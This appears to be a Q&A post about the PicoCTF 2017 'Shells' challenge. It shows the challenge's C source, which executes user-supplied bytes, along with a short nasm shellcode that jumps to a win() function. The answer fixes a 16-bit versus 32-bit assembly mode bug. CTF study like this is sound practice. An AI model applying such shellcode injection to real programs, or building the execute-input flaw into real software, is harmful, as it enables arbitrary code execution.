Shells CTF segfault - wrong address

Question

PicoCTF 2017 Shells I have a binary and source:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 10

//TODO: Ask IT why this is here
void win(){
    system("/bin/cat ./flag.txt");    
}


void vuln(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        printf("Failed to get space. Please talk to admin\n");
        exit(0);
    }
    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        printf("You didn't give me anything :(");
        exit(0);
    }

    void (*func)() = (void (*)())stuff;
    func();      
}

int main(int argc, char*argv[]){
    printf("My mother told me to never accept things from strangers\n");
    printf("How bad could running a couple bytes be though?\n");
    fflush(stdout);
    vuln();
    return 0;
}

The goal is to call win() function.

So: gdb ./shells I have address of win function: 0x08048540 then i create shellcode:

section .text
    global _start
_start:
    mov eax,0x08048540
    jmp eax

section .data

after compile an use sehllcode i have the flag. But when i compile source code instead of using given binary:

gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2

This not works anymore, segfault all the time. Why with binary file my method works and with compiled source manually not working? PS. Flag is in the right place.

Answer 1

I think your shellcode is missing the specifier for the bit-ness of the shellcode. You're compiling the shells in 32 bits, but for the nasm (I'm assuming you're using that) doesn't have anything. I'm assuming you're compiling in bin mode and if you check the documentation

...the bin output format defaults to 16-bit mode in anticipation of it being used most frequently to write DOS .COM programs, DOS .SYS device drivers and boot loader software.

So what you need to do is:

[BITS 32]
section .text
    global _start
_start:
    mov eax,0x08048540 ; need to put correct address here of course
    jmp eax

section .data

..compile & voilà